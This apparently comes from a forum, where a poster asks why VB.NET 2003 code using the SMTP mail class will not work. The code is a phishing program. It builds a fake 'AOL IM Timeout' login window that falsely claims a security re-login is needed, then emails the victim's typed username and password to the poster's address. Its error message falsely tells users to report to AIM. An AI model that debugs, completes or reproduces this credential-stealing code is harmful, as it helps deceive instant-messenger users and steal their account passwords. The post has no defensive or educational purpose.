my vb.net 2003 dosent have the SMTP MAIL class...?

Code:
Imports System
Imports System.Web.Mail.MailMessage

    Public Class Form1
        Inherits System.Windows.Forms.Form


#Region " Windows Form Designer generated code "

        Public Sub New()
            MyBase.New()

            'This call is required by the Windows Form Designer.
            InitializeComponent()

            'Add any initialization after the InitializeComponent() call

        End Sub

        'Form overrides dispose to clean up the component list.
        Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
            If disposing Then
                If Not (components Is Nothing) Then
                    components.Dispose()
                End If
            End If
            MyBase.Dispose(disposing)
        End Sub

        'Required by the Windows Form Designer
        Private components As System.ComponentModel.IContainer

        'NOTE: The following procedure is required by the Windows Form Designer
        'It can be modified using the Windows Form Designer.  
        'Do not modify it using the code editor.
        Friend WithEvents Label1 As System.Windows.Forms.Label
        Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
        Friend WithEvents TextBox2 As System.Windows.Forms.TextBox
        Friend WithEvents Button1 As System.Windows.Forms.Button
        <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
            Me.Label1 = New System.Windows.Forms.Label
            Me.TextBox1 = New System.Windows.Forms.TextBox
            Me.TextBox2 = New System.Windows.Forms.TextBox
            Me.Button1 = New System.Windows.Forms.Button
            Me.SuspendLayout()
            '
            'Label1
            '
            Me.Label1.Location = New System.Drawing.Point(0, 0)
            Me.Label1.Name = "Label1"
            Me.Label1.Size = New System.Drawing.Size(360, 40)
            Me.Label1.TabIndex = 0
            Me.Label1.Text = "A timeout error has occured. Please re-login to Instant Messenger. A timeout erro" & _
            "r occurs annualy for security reasons, please re-login below."
            '
            'TextBox1
            '
            Me.TextBox1.Location = New System.Drawing.Point(24, 48)
            Me.TextBox1.Name = "TextBox1"
            Me.TextBox1.Size = New System.Drawing.Size(200, 20)
            Me.TextBox1.TabIndex = 1
            Me.TextBox1.Text = "username"
            '
            'TextBox2
            '
            Me.TextBox2.Location = New System.Drawing.Point(24, 80)
            Me.TextBox2.Name = "TextBox2"
            Me.TextBox2.PasswordChar = Microsoft.VisualBasic.ChrW(42)
            Me.TextBox2.Size = New System.Drawing.Size(200, 20)
            Me.TextBox2.TabIndex = 2
            Me.TextBox2.Text = "password"
            '
            'Button1
            '
            Me.Button1.Location = New System.Drawing.Point(248, 64)
            Me.Button1.Name = "Button1"
            Me.Button1.Size = New System.Drawing.Size(96, 24)
            Me.Button1.TabIndex = 3
            Me.Button1.Text = "Login"
            '
            'Form1
            '
            Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13)
            Me.ClientSize = New System.Drawing.Size(360, 118)
            Me.Controls.Add(Me.Button1)
            Me.Controls.Add(Me.TextBox2)
            Me.Controls.Add(Me.TextBox1)
            Me.Controls.Add(Me.Label1)
            Me.Name = "Form1"
            Me.Text = "AOL IM Timeout!!!"
            Me.ResumeLayout(False)

        End Sub

#End Region

        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
            Dim Message As System.Web.Mail.MailMessage = New System.Web.Mail.MailMessage
            Message.To = "[email protected]"
            Message.From = "[email protected]"
            Message.Subject = "Password from " + TextBox1.Text
            Message.Body = "Username: " + TextBox1.Text + " Password: " + TextBox2.Text
            Try
                SmtpMail.SmtpServer = "mail.yahoo.com"
                SmtpMail.Send(Message)
            Catch ehttp As System.Web.HttpException
                MessageBox.Show("ERROR IN RE-LOGIN. PLEASE REPORT TO AIM.")
            End Try

        End Sub
    End Class
i know the first namespace thing is wrong.. the second IMPORTS. but it still dont work.